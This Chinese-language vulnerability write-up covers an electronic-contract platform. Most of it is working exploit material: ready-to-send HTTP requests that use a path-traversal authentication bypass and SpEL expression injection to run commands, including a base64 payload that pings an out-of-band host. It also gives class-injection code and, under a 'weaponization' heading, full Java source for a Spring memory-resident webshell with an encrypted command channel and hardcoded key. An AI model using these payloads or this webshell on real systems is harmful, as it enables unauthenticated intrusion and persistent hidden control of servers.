0x01 漏洞细节

0x01 代码执行

  • 路由:/template/param/edits
img
img

0x02 代码执行 2

img
img
  • 路由1:/template/html/add
img
  • 路由2: /template/html/update
img

0x03 代码执行3

img
  • checkParamExistsWhenSend
img
  • checkWordParamExistsWhenSend
img
img
img
img
  • 路由: /contract/fillparam
img

0x02 漏洞利用

  • 前台命令执行
POST /contract/ukeysign/.%2e/.%2e/template/param/edits HTTP/1.1
Host: xxxxx
Cookie: SID=3c5dff0a-40d3-4235-b3dc-80a0ede12570
Pragma: no-cache
Cache-Control: no-cache
Sec-Ch-Ua: "Google Chrome";v="113", "Chromium";v="113", "Not-A.Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Sec-Ch-Ua-Platform: "macOS"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: script
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json
Content-Length: 32990
Connection: close

{"id":"2","params":[{"expression":"var a=new org.springframework.expression.spel.standard.SpelExpressionParser();var b='classBase64编码';var b64=java.util.Base64.getDecoder();var deStr=new java.lang.String(b64.decode(b),'UTF-8');var c=a.parseExpression(deStr);c.getValue();"}]}
  • 内存马
img
  • 增加一个 Check-Flag 判断是否注入成功
var classLoader = java.lang.Thread.currentThread().getContextClassLoader();try{classLoader.loadClass('SpringLogFlag').newInstance();}catch (e){var clsString = classLoader.loadClass('java.lang.String');var bytecodeRaw = 'byteCode';var bytecode = new java.math.BigInteger(bytecodeRaw,36).toByteArray();var clsClassLoader = classLoader.loadClass('java.lang.ClassLoader');var clsByteArray = (new java.lang.String('a').getBytes().getClass());var clsInt = java.lang.Integer.TYPE;var defineClass = clsClassLoader.getDeclaredMethod('defineClass', [clsByteArray, clsInt, clsInt]);defineClass.setAccessible(true);var clazz = defineClass.invoke(classLoader,bytecode,new java.lang.Integer(0),new java.lang.Integer(bytecode.length));clazz.newInstance();}

路径:https://xxxxxxx/login/status

(有些目标环境没有此路径,执行更换其他路径尝试连接)

  • 前台绕过-命令执行1
POST /contract/ukeysign/.%2e/.%2e/template/html/add HTTP/1.1
Host: xxxxxx
Cookie: SID=5ee4f3c3-6494-42db-a97b-ec2c368c6aa4; QID=8b4a2e3d-a057-4a32-be5f-74323c3b535c
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
I18n-Language: zh_CN
X-Qid: 8b4a2e3d-a057-4a32-be5f-74323c3b535c
Referer: 
Content-Type: application/json
Content-Length: 398

{"title":"1",
"file":"1",
"groupId":"123",
"params":[{"expression":"var a=new org.springframework.expression.spel.standard.SpelExpressionParser();var b='VChqYXZhLmxhbmcuUnVudGltZSkuZ2V0UnVudGltZSgpLmV4ZWMoJ3BpbmcgOTc2ZDExODQuaXB2Ni4xNDMzLmV1Lm9yZycp';var b64=java.util.Base64.getDecoder();var deStr=new java.lang.String(b64.decode(b),'UTF-8');var c=a.parseExpression(deStr);c.getValue();"}]
  • 前台绕过-命令执行2
POST /contract/ukeysign/.%2e/.%2e/template/html/update HTTP/1.1
Host: XXXXXXX
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
I18n-Language: zh_CN
Referer: 
Content-Type: application/json
Content-Length: 398

{"title":"1",
"file":"1",
"groupId":"123",
"params":[{"expression":"var a=new org.springframework.expression.spel.standard.SpelExpressionParser();var b='VChqYXZhLmxhbmcuUnVudGltZSkuZ2V0UnVudGltZSgpLmV4ZWMoJ3BpbmcgOTc2ZDExODQuaXB2Ni4xNDMzLmV1Lm9yZycp';var b64=java.util.Base64.getDecoder();var deStr=new java.lang.String(b64.decode(b),'UTF-8');var c=a.parseExpression(deStr);c.getValue();"}]

0x04 武器化实现

  • spring内存马,按照你的需求修改增加即可
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.RequestFacade;
import org.apache.catalina.connector.ResponseFacade;
import org.apache.tomcat.util.http.Parameters;
import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.ServletRequestWrapper;
import javax.servlet.ServletResponseWrapper;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.math.BigInteger;
import java.net.URL;
import java.net.URLClassLoader;
import java.nio.charset.StandardCharsets;
import java.security.MessageDigest;
import java.util.*;

public class SpringInterHeaderLog extends HandlerInterceptorAdapter {
    String xc = "8750561e48c1c2a0";
    String pass = "pass";
    String md5;
    Class payload;

    public SpringInterHeaderLog() {
        this.md5 = md5(this.pass + this.xc);
    }

    public static byte[] base64Decode(String bs) throws Exception {
        byte[] value = null;

        Class base64;
        try {
            base64 = Class.forName("java.util.Base64");
            Object decoder = base64.getMethod("getDecoder", (Class[])null).invoke(base64, (Object[])null);
            value = (byte[])((byte[])decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs));
        } catch (Exception var6) {
            try {
                base64 = Class.forName("sun.misc.BASE64Decoder");
                Object decoder = base64.newInstance();
                value = (byte[])((byte[])decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs));
            } catch (Exception var5) {
            }
        }

        return value;
    }

    public static String md5(String s) {
        String ret = null;

        try {
            MessageDigest m = MessageDigest.getInstance("MD5");
            m.update(s.getBytes(), 0, s.length());
            ret = (new BigInteger(1, m.digest())).toString(16).toUpperCase();
        } catch (Exception var3) {
        }

        return ret;
    }

    public static String base64Encode(byte[] bs) throws Exception {
        String value = null;

        Class base64;
        try {
            base64 = Class.forName("java.util.Base64");
            Object Encoder = base64.getMethod("getEncoder", (Class[])null).invoke(base64, (Object[])null);
            value = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, bs);
        } catch (Exception var6) {
            try {
                base64 = Class.forName("sun.misc.BASE64Encoder");
                Object Encoder = base64.newInstance();
                value = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, bs);
            } catch (Exception var5) {
            }
        }

        return value;
    }

    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) {
        try {
            if (request.getHeader("check").equalsIgnoreCase("true")) {
                response.setHeader("X-XSS-Protection","1; mode=block;Live;mode=OK");
            }

            Object lastRequest = request;
            Object lastResponse = response;
            Method getResponse;
            if (!(request instanceof RequestFacade)) {
                getResponse = ServletRequestWrapper.class.getMethod("getRequest");
                for(lastRequest = getResponse.invoke(request); !(lastRequest instanceof RequestFacade); lastRequest = getResponse.invoke(lastRequest)) {
                }
            }
            if (!(response instanceof ResponseFacade)) {
                getResponse = ServletResponseWrapper.class.getMethod("getResponse");

                for(lastResponse = getResponse.invoke(response); !(lastResponse instanceof ResponseFacade); lastResponse = getResponse.invoke(lastResponse)) {
                }
            }
            URLClassLoader urlClassLoader;
            String payload;
            byte[] data = base64Decode(request.getParameter(this.pass));
            data = this.x(data, false);
            if (this.payload == null) {
                urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
                Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
                defMethod.setAccessible(true);
                this.payload = (Class)defMethod.invoke(urlClassLoader, data, 0, data.length);
            } else {
                ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
                Object f = this.payload.newInstance();
                f.equals(arrOut);
                f.equals(data);
                f.equals(request);
                response.getWriter().write(this.md5.substring(0, 16));
                f.toString();
                response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
                response.getWriter().write(this.md5.substring(16));

            }
        } catch (Exception var20) {
            return false;

        }
        return true;
    }

    public byte[] x(byte[] s, boolean m) {
        try {
            Cipher c = Cipher.getInstance("AES");
            c.init(m ? 1 : 2, new SecretKeySpec(this.xc.getBytes(), "AES"));
            return c.doFinal(s);
        } catch (Exception var4) {
            return null;
        }
    }
}